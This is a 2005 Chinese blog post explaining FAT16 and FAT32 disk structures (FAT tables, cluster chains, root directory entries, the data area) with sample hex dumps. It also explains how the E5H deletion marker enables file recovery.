隐藏扇区(Hidden Secotrs):
FAT16 0-1-1 1
FAT32 0-1-1 32
文件分配表(File Allocation Table):
FAT16 0-1-2 根据逻辑盘容量变化
FAT32 0-1-33 根据逻辑盘容量变化
说明:
FAT16的每个表项由2字节(16位)组成,通常每个表项指向的簇包含64个扇区,即32K字节。 逻辑盘容量最大为2047MB。
FAT32的每个表项由4字节(32位)组成,通常每个表项指向的簇包含8个扇区,即4K字节。逻辑盘容量最小为512MB。
对于C分区,在MBR的偏移01c2H处,FAT16为06H,FAT32为0CH。


FAT是DOS、Windows9X系统的文件寻址格式,位于DBR之后。
在解释文件分配表的概念的时候,我们有必要谈谈簇(Cluster)的概念。文件占用磁盘空间,本单位不是字节而是簇。一般情况下,软盘每簇是1个扇区,硬盘每簇的扇区数与硬盘的总容量大小有关,可能是4、8、16、32、64......同一个文件的数据并不一定完整地存放在磁盘的一个连续的区域内,而往往会分成若干段,像一条链子一样存放。这种存储方式称为文件的链式存储。由于硬盘上保存着段与段之间的连接信息(即FAT),操作系统在读取文件时,总是能够准确地找到各段的位置并正确读出。
为了实现文件的链式存储,硬盘上必须准确地记录哪些簇已经被文件占用,还必须为每个已经占用的簇指明存储后继内容的下一个簇的簇号。对一个文件的最后一簇,则要指明本簇无后继簇。这些都是由FAT表来保存的,表中有很多表项,每项记录一个簇的信息。由于FAT对于文件管理的重要性,所以为了安全起见,FAT有一个备份,即在原FAT的后面再建一个同样的FAT。初形成的FAT中所有项都标明为"未占用",但如果磁盘有局部损坏,那么格式化程序会检测出损坏的簇,在相应的项中标为"坏簇",以后存文件时就不会再使用这个簇了。FAT的项数与硬盘上的总簇数相当,每一项占用的字节数也要与总簇数相适应,因为其中需要存放簇号。FAT的格式有多种,最为常见的是FAT16和FAT32。
当一个磁盘Format后,在其逻辑0扇区(即BOOT扇区)后面的几个扇区中存在着一个重要的数据表—文件分配(FAT),文件分配表一式两份,占据扇区的多小凭磁盘类型大小而定。顾名思义,文件分配表是用来表示磁盘问件的空分配信息的。它不对引导区,文件目录的信息进行表示,也不真正存储文件内容。
我们知道磁盘是由一个一个扇区组成的,若干个扇区合为一个簇,文件存取是以簇为单位的,哪怕这个文件只有1个字节。每个簇在文件分配表中都有对应的表项,簇号即为表项号,每个表项占1.5个字节(磁盘空间在10MB以下)或2个字节(磁盘空间在10MB以上)。为了方便起见,以后所说的表项都是指2个字节的。
FAT表的开始由介质描述符+一串"已占用"标志组成:
FAT16硬盘----F8 FF FF 7F
FAT32硬盘----F8 FF FF 0F FF FF FF 0F
每个有效的FAT结构区包含两个完全相同的拷贝:FAT1、FAT2
文件分配表结构如1(H表示16进制)
表1
第0字节 表头,表磁盘类型。FFH双面软盘,每次道8扇区FEH单面软盘,每磁道8扇区FDH双面软盘,每磁道9扇区FCCH单面软盘,每磁道9扇区FC8H硬盘
第1~2字节 (表项号1)表示第一簇状态,因第一簇被系统占据,故此两字节为FFFFH
第3~4字节 (表项号2)表示第二簇状态,若为FFFH表此簇为坏的,DOS已标记为不能用;0000H表示此簇为空,可以用;FFF8H表不能示该簇为文件的最后一簇;其余数字表示文件的下一个簇号,注意高字节在后,低字节在前。
第5~6字节 (表项号3)表示第三簇状态,同上。

注意:
不要把表项内的数字误认为表示当前簇号,而应是该文件的下一个簇的簇号。.高字节在后,低字节在前是一种存储数字方式,读出时应对其进行调整。是如两字节12H,34H,应调整为3412H。
文件分配表与文件目录(FDT)相配合,可以统一管理整个磁盘的文件。它告诉系统磁盘上哪些簇是坏的或已被使用,哪些簇可以用,并存储每个文件所使用的簇号。它是文件的"总调度师"。
当DOS写文件时,首先在文件目录中检查是否有相同文件名,若无则使用一个文件目录表项,然后依次检测FAT中的每个表项对应的簇中,同时将该簇号写入文件目录表项相的26-27字节,如文件长度不止一簇,则继续向后寻找可用簇,找到后将其簇号写入上一次找到的表项中,如此直到文件结束,在最后一簇的表项里填上FFF8H,形成单向链表。
DOS删除文件时只是把文件目录表中的该文件的表项第0个字节改为E5H,表此项已被删除,并在文件分配表中把该文件占用的各簇的表项清0,并释放空间。其文件的内容仍然在盘上,并没有被真正删除,这就是undelete.exe,unerase.exe等一类恢复删除工具能起作用的原因。
文件分配表在系统中的地位十分重要,用户最好不要去修改它,以免误操作带来严重的后果。
典型的FAT32表:
F8 FF FF FF FF FF FF FF 96 C4 00 00 FF FF FF 0F
FF FF FF 0F 06 00 00 00 FF FF FF 0F 08 00 00 00
09 00 00 00 0A 00 00 00 0B 00 00 00 0C 00 00 00
0D 00 00 00 0E 00 00 00 0F 00 00 00 10 00 00 00
FF FF FF 0F 00 00 00 00 FF FF FF 0F 14 00 00 00
15 00 00 00 FF FF FF 0F FF FF FF 0F FF FF FF 0F
19 00 00 00 1A 00 00 00 1B 00 00 00 FF FF FF 0F
00 00 00 00 1E 00 00 00 FF FF FF 0F 20 00 00 00
FF FF FF 0F 22 00 00 00 23 00 00 00 24 00 00 00
25 00 00 00 26 00 00 00 27 00 00 00 28 00 00 00


文件目录表(File Directory Table),即根目录区,又称为ROOT区:
紧跟在FAT2的下一个扇区,长度为32个扇区(256个表项)。如果支持长文件名,则每个表项为64个字节,其中,前32个字节为长文件链接说明;后32个字节为文件属性说明,包括文件长度、起始地址、日期、时间等。如不支持长文件名,则每个表项为32个字节的属性说明。
值得注意的是:
1,FAT32没有储存目录的目录区,而 FAT16储存根目录并把子目录放到数据区。
2,表示目录的目录项指出根目录地址同时长度字节为0,表示文件的目录项指出数据地址。

典型的FAT32根目录:
30 30 30 30 30 30 20 20 20 20 20 10 00 12 3C 7C
39 2B 39 2B 05 00 3D 7C 39 2B 3A 34 00 00 00 00

44 4D 32 4B 44 49 53 4B 49 4D 47 20 00 96 DB 40
39 2B 39 2B 0A 00 DC 40 39 2B 88 02 5B 72 13 00

42 49 4E 42 49 4E 20 20 20 20 20 08 00 00 00 00
00 00 00 00 00 00 47 65 09 2B 00 00 00 00 00 00


000000子目录

注意OS7前的怪字符为E5H,表示被删除,被删除文件仍旧能够找到开始簇,数据恢复就依靠这一特点。

数据区(Data Area): 紧跟在FDT的下一个扇区,直到逻辑盘的结束地址。


由上图可以想到,即使目录被破坏仍旧可能从磁盘里把信息读出。


数据恢复主要是手动找出FAT、目录、数据的对应关系或直接找到数据,现在已经有完善的磁盘编辑器帮助我们做到这一点,使工作大大简化了。
有只能化的恢复工具能不依靠FAT而恢复被删除文件,比如RECOVERNT,估计是依靠Win2000的文件使用记录。这种方法在冲启动之前恢复文件的

- 作者: 冥冢 2005年02月19日, 星期六 17:20  回复(1) |  引用(0) 加入博采